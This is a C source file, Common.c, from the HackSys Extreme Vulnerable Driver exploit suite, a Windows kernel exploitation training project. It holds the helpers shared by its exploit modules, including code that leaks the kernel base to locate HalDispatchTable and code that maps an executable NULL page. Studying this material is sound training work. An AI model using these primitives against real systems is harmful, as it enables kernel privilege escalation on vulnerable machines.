/*++

          ##     ## ######## ##     ## ########  
          ##     ## ##       ##     ## ##     ## 
          ##     ## ##       ##     ## ##     ## 
          ######### ######   ##     ## ##     ## 
          ##     ## ##        ##   ##  ##     ## 
          ##     ## ##         ## ##   ##     ## 
          ##     ## ########    ###    ########  

        HackSys Extreme Vulnerable Driver Exploit

Author : Ashfaq Ansari
Contact: ashfaq[at]payatu[dot]com
Website: http://www.payatu.com/

Copyright (C) 2011-2015 Payatu Technologies. All rights reserved.

This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.

This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
GNU General Public License for more details.

You should have received a copy of the GNU General Public License
along with this program.  If not, see <http://www.gnu.org/licenses/>.

THIS SOFTWARE IS PROVIDED "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES,
INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND
FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.  IN NO EVENT SHALL THE AUTHORS
OR COPYRIGHT HOLDERS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT
OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT,
STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.

See the file 'LICENSE' for complete copying permission.

Module Name:
    Common.c

Abstract:
    This module implements the methods which are 
    common to all the exploit modules.

--*/

#include "Common.h"

VOID ClearScreen()
{
    // https://msdn.microsoft.com/en-us/library/windows/desktop/ms682022(v=vs.85).aspx

    DWORD dwConSize;
    HANDLE hConsole;
    DWORD cCharsWritten;
    COORD coordScreen = {0, 0};
    CONSOLE_SCREEN_BUFFER_INFO csbi;

    hConsole = GetStdHandle(STD_OUTPUT_HANDLE);

    if (!GetConsoleScreenBufferInfo(hConsole, &csbi)) {
        return;
    }

    dwConSize = csbi.dwSize.X * csbi.dwSize.Y;

    if (!FillConsoleOutputCharacter(hConsole,
                                    (TCHAR)' ',
                                    dwConSize,
                                    coordScreen,
                                    &cCharsWritten )) {
        return;
    }

    if (!GetConsoleScreenBufferInfo(hConsole, &csbi)) {
        return;
    }

    if (!FillConsoleOutputAttribute(hConsole,
                                    csbi.wAttributes,
                                    dwConSize,
                                    coordScreen,
                                    &cCharsWritten)) {
        return;
    }

    SetConsoleCursorPosition(hConsole, coordScreen);
}


VOID ColoredConsoleOuput(WORD wColor, CONST PTCHAR fmt, ...) {
    SIZE_T length = 0;
    PTCHAR debugString;
    va_list args = NULL;
    HANDLE hConsoleOutput;
    WORD wCurrentAttributes;
    CONSOLE_SCREEN_BUFFER_INFO consoleScreenBufferInfo;

    va_start(args, fmt);
    length = _vscprintf(fmt, args) + 2;
    debugString = (PTCHAR)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, length * sizeof(TCHAR));
    hConsoleOutput = GetStdHandle(STD_OUTPUT_HANDLE);
    GetConsoleScreenBufferInfo(hConsoleOutput, &consoleScreenBufferInfo);
    wCurrentAttributes = consoleScreenBufferInfo.wAttributes;
    SetConsoleTextAttribute(hConsoleOutput, FOREGROUND_INTENSITY | wColor);

    vfprintf(stderr, fmt, args);
    vsprintf_s(debugString, length, fmt, args);
    OutputDebugString(debugString);

    SetConsoleTextAttribute(hConsoleOutput, wCurrentAttributes);
    va_end(args);
    HeapFree(GetProcessHeap(), 0, (LPVOID)debugString);
}

VOID CenterConsoleScreen() {
    HWND hConsoleWindow = GetConsoleWindow();
    int xPos = (GetSystemMetrics(SM_CXSCREEN) - 680) / 2;
    int yPos = ((GetSystemMetrics(SM_CYSCREEN) - 350) / 2) - 150;
    MoveWindow(hConsoleWindow, xPos, yPos, 700, 600, TRUE);
}

HANDLE GetDeviceHandle(LPCSTR lpFileName) {
    HANDLE hFile = NULL;

    hFile = CreateFile(lpFileName,
                       GENERIC_READ | GENERIC_WRITE,
                       FILE_SHARE_READ | FILE_SHARE_WRITE,
                       NULL,
                       OPEN_EXISTING,
                       FILE_ATTRIBUTE_NORMAL | FILE_FLAG_OVERLAPPED,
                       NULL);

    return hFile;
}

DWORD GetProcessID(LPCSTR processName) {
    ULONG processID = 0;
    HANDLE hProcessSnapshot = NULL;
    PROCESSENTRY32 processEntry32 = {0};
    processEntry32.dwSize = sizeof(PROCESSENTRY32);

    // create the snapshot of all process
    hProcessSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);

    if (!hProcessSnapshot) {
        DEBUG_ERROR("\t\t[-] Failed Creating Snapshot Of Processes: 0x%X\n", GetLastError());
        exit(EXIT_FAILURE);
    }

    if (!Process32First(hProcessSnapshot, &processEntry32)) {
        DEBUG_ERROR("\t\t[-] Failed To Get Info About First Process: 0x%X\n", GetLastError());
        exit(EXIT_FAILURE);
    }

    do {
        if (strcmp(processName, processEntry32.szExeFile) == 0) {
            processID = processEntry32.th32ProcessID;
            break;
        }
    } while (Process32Next(hProcessSnapshot, &processEntry32));

    CloseHandle(hProcessSnapshot);

    return processID;
}

PVOID GetHalDispatchTable() {
    PCHAR kernelImage;
    NTSTATUS ntStatus;
    SIZE_T returnLength;
    HMODULE hNtDll = NULL;
    PVOID pHalDispatchTable = 0;
    HMODULE hKernelInUserMode = NULL;
    PVOID pKernelBaseAddressInKernelMode;
    PSYSTEM_MODULE_INFORMATION pSystemModuleInformation;

    hNtDll = LoadLibrary("ntdll.dll");

    if (!hNtDll) {
        DEBUG_ERROR("\t\t\t[-] Failed To Load NtDll.dll: 0x%X\n", GetLastError());
        exit(EXIT_FAILURE);
    }

    NtQuerySystemInformation = (NtQuerySystemInformation_t)GetProcAddress(hNtDll, "NtQuerySystemInformation");

    if (!NtQuerySystemInformation) {
        DEBUG_ERROR("\t\t\t[-] Failed Resolving NtQuerySystemInformation: 0x%X\n", GetLastError());
        exit(EXIT_FAILURE);
    }

    ntStatus = NtQuerySystemInformation(SystemModuleInformation, NULL, 0, &returnLength);

    pSystemModuleInformation = (PSYSTEM_MODULE_INFORMATION)HeapAlloc(GetProcessHeap(),
                                                                     HEAP_ZERO_MEMORY,
                                                                     returnLength);

    if (!pSystemModuleInformation) {
        DEBUG_ERROR("\t\t\t[-] Memory Allocation Failed For SYSTEM_MODULE_INFORMATION: 0x%X\n", GetLastError());
        exit(EXIT_FAILURE);
    }
    ntStatus = NtQuerySystemInformation(SystemModuleInformation,
                                        pSystemModuleInformation,
                                        returnLength,
                                        &returnLength);

    if (ntStatus != STATUS_SUCCESS) {
        DEBUG_ERROR("\t\t\t[-] Failed To Get SYSTEM_MODULE_INFORMATION: 0x%X\n", GetLastError());
        exit(EXIT_FAILURE);
    }

    pKernelBaseAddressInKernelMode = pSystemModuleInformation->Module[0].Base;
    kernelImage = strrchr((PCHAR)(pSystemModuleInformation->Module[0].ImageName), '\\') + 1;

    DEBUG_INFO("\t\t\t[+] Loaded Kernel: %s\n", kernelImage);
    DEBUG_INFO("\t\t\t[+] Kernel Base Address: 0x%p\n", pKernelBaseAddressInKernelMode);
    
    hKernelInUserMode = LoadLibraryA(kernelImage);

    if (!hKernelInUserMode) {
        DEBUG_ERROR("\t\t\t[-] Failed To Load Kernel: 0x%X\n", GetLastError());
        exit(EXIT_FAILURE);
    }

    // this is still in user mode
    pHalDispatchTable = (PVOID)GetProcAddress(hKernelInUserMode, "HalDispatchTable");

    if (!pHalDispatchTable) {
        DEBUG_ERROR("\t\t\t[-] Failed Resolving HalDispatchTable: 0x%X\n", GetLastError());
        exit(EXIT_FAILURE);
    }
    else {
        pHalDispatchTable = (PVOID)((ULONG)pHalDispatchTable - (ULONG)hKernelInUserMode);

        // here we get the address of HapDispatchTable in Kernel mode
        pHalDispatchTable = (PVOID)((ULONG)pHalDispatchTable + (ULONG)pKernelBaseAddressInKernelMode);

        DEBUG_INFO("\t\t\t[+] HalDispatchTable: 0x%p\n", pHalDispatchTable);
    }

    HeapFree(GetProcessHeap(), 0, (LPVOID)pSystemModuleInformation);

    return pHalDispatchTable;
}

BOOL MapNullPage() {
    HMODULE hNtdll;
    PVOID baseAddress = (PVOID)0x00000001; // will be rounded down to the next host
                                           // page size address boundary -> 0x00000000

    SIZE_T regionSize = 0x1000;            // will be rounded up to the next host
                                           // page size address boundary -> 0x2000
    NTSTATUS ntStatus;

    hNtdll = GetModuleHandle("ntdll.dll");

    // grab the address of NtAllocateVirtualMemory
    NtAllocateVirtualMemory = (NtAllocateVirtualMemory_t)GetProcAddress(hNtdll, "NtAllocateVirtualMemory");

    if (!NtAllocateVirtualMemory) {
        DEBUG_ERROR("\t\t[-] Failed Resolving NtAllocateVirtualMemory: 0x%X\n", GetLastError());
        exit(EXIT_FAILURE);
    }

    // allocate the memory
    ntStatus = NtAllocateVirtualMemory((HANDLE)0xFFFFFFFF, &baseAddress, 0, &regionSize, MEM_RESERVE | MEM_COMMIT | MEM_TOP_DOWN, PAGE_EXECUTE_READWRITE);

    if (ntStatus != STATUS_SUCCESS) {
        DEBUG_ERROR("\t\t\t\t[-] Virtual Memory Allocation Failed: 0x%x\n", ntStatus);
        exit(EXIT_FAILURE);
    }
    else {
        DEBUG_INFO("\t\t\t[+] Memory Allocated: 0x%p\n", baseAddress);
        DEBUG_INFO("\t\t\t[+] Allocation Size: 0x%X\n", regionSize);
    }

    FreeLibrary(hNtdll);

    return TRUE;
}